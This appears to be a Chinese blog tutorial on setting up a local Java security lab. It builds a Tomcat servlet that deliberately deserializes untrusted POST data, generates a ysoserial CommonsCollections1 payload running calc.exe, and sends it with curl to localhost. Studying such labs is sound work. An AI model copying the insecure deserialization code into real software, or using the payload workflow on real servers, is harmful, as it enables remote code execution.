前置准备

(截图使用了mac和windows两个版本,应该影响不大。)

1、简单学一下java、了解方法、类、构造器、重载、继承、反射等

2、环境下载,装好IDEA、Tomcat、下载好各版本的JDK(jre)

基础配置

新建项目,选择Java Enterprise,

idea为我们准备好了一些常用的依赖包,这里选择servlet

这里输入项目名称,group一般设为小组、公司名,artifact是部署的实例名

项目创建好之后,目录应该是这样。在webapp目录下创建我们的helloworld

创建文件叫index.jsp,在<body>标签里写入hello world.
然后下一步是配置中间件,这里用tomcat为例做一个示范,点击右上角的小三角形,在选择edit configurations点左边的+号,找到 Tomcat Server中的Local。右侧配置Name,在Application Server选择tomcat放置的目录,然后点击Deployment。

在这加一个artifact,这就是一个实例,需要部署war,告诉tomcat把什么项目部署到它上面。

上述完事之后,就可以点OK。然后点RUN,让我们的hello world跑起来。

然后等待右下角的deploy的logo信息完成。

然后打开浏览器,在地址栏输入http://localhost:8080/servletdemo_war/(这个地址也能载配置tomcat的URL地方找到)

这里成功输出了hello world。然后我们去tomcat目录看一下是否被idea部署上了项目。

搞一个servlet

上面我们已经搞了一个简陋版的hello world,相当于在index.phpPHP文件里嵌入的HTML代码<body>hello world</body>,我们还并没有开始写Java代码,我们下面就是要实现Java版的<?php echo 'hello world';?>。吐槽一句,这两者的对比是否让大家体会到入门复杂度的区别了吧。不过PHP8.0最近更新,朋友圈哀嚎一片。
我还是要说!

PHP是世界上最好的语言

首先,需要在src/main/java上右击,创建一个新的servlet。

然后在src/main/webapp/WEB-INF/web.xml配置servlet

图中我加了一些注释,简单说就是 servlet-name这个配置需要相同,servlet-class需要与servlet代码的文件名相同,url-pattern需要和浏览器输入的url中路径相同。

下面开始写代码,我们可以看到我们创建的firstServlet已经有初始化代码了,我们写的各个servlet都是继承了HttpServlet类,我们需要实现他的doGet()、与doPost()方法。

@WebServlet(name = "firstServlet")
//这里是注释配置访问servlet,暂时不管
public class firstServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request, response);
        //把post请求也交给doGet处理
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.write("Hello world from firstServlet");
        out.close();
    }
}

然后,我们把最开始的index.jsp改一改

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
hello world!
<a href="firstservlet"> Go to firstServlet </a>>
</body>
</html>

然后重新部署一下,

在浏览器访问http://localhost:8080/servletdemo_war/

我们刚改的index.jsp已经生效了,点击 Go to firstServlet测试一下servlet。

点击一下,发现结果符合预期。


到这,我们就完成了servlet版的helloword。

反序列化的Webdemo

这里使用ysoserial的CC1漏洞,这里首先需要保证JRE的环境是小于18_271的。这里我选择了前一个版本,也就是18_66。

然后写一个demoserver的Servlet和web.xml代码。

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>demoserver</servlet-name>
    <servlet-class>demoservlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>demoserver</servlet-name>
    <url-pattern>/demoserver</url-pattern>
  </servlet-mapping>

</web-app>
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;

@WebServlet(name = "demoserver")
//这里是注释配置访问servlet
public class demoservlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    //接受POST请求传输的流,并进行反序列化操作
        ServletInputStream sis = request.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(sis);
        try{
            ois.readObject();
        }catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        ois.close();
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.write("Hello world from firstServlet");
        out.close();
    }
}

在pom.xml文件里写上commoncollection3.1的依赖,因为ysoserial的CC1基于这个版本。

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

下面是结构图。

去tomcat的目录看一下依赖有没有正确的导入。这里可以看到commons-collections-3.1已经导入。

ysoserial生成payload

现在close掉刚才的Web项目。下载ysoserial项目,然后把项目包放到Idea的项目文件夹里。(这里也可以就地打开项目,但是ysoserial后期用的多,建议移到Idea的项目文件夹)

git clone https://github.com/frohoff/ysoserial.git

使用Idea打开pom.xml文件,选择open as project。然后等待依赖下载,完成后,左边的的External Libraries会有很多依赖。如果pom还有红色报错可以手动下载依赖导入一下(亦可以暂时不理会,前期不一定会用到对应依赖)。

导入完成后,给项目添加一个运行环境,注意这里创建Application就可以了。

这里我们使用CommonsCollections1来执行calc.exe命令,注意ysoserial的的main函数在GeneratePayloadRun一下代码,会发现工具输出了一串字符,这个payload是Java的stream不全部是可见字符,我们可以加一段代码,让工具把payload写入文件。

关键的序列化代码在这里,使用Ctrl+左键跟踪定义。

然后就是序列化生成payload的方法了,添加的代码写到注释里了。代码有红色报错的话,就是用Idea的自动debug功能添加相关的依赖。

public static void serialize(final Object obj, final OutputStream out) throws IOException {
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        //*****************这里添加一个生产payload文件的代码
        try{
            FileOutputStream fout = new FileOutputStream("./payload.ser");
            ObjectOutputStream ot = new ObjectOutputStream(fout);
            ot.writeObject(obj);
            ot.close();
            fout.close();
        }catch (FileNotFoundException FNFE){
            System.out.println("./payload.ser Not Found");
        }
        //*****************
    }

代码的作用就是在当前目录输出一个payload.ser的二进制文件,便于我们使用。

运行项目生成payload文件。用hexdump简单看一下,有反序列化的明显特征。

测试Payload

启动一下burp,换一下代理端口(8080被tomcat占用了)。把ysoserial项目close掉,打开一开始我们创建的demoweb项目,启动tomcat。然后使用Curl来进行发送我们的payload。

curl -x http://127.0.0.1:8081 http://localhost:8080/demoserver_war_exploded//demoserver --data-binary @payload.ser
  • -x 配置了Burp的http代理
  • 后面直接跟目标的URL
  • --data-binary 会以POST发送二进制数据

成功执行。

动态调试

CC1的漏洞链会经过LazyMap,在那里打一个断点测试动态调试。双击shift搜索LazyMap

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {//打断点
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

把tomcat切换为debug模式,在Burp里重发一下

成功调试。

到这里一个Java安全学习的环境基本就搭建好了,后面会更新常见的JAVA安全漏洞环境。

致谢

感谢phithon、kingx、noxxx、Epicccal

点击收藏 | 12 关注 | 6
  • 动动手指,沙发就是你的了!
登录 后跟帖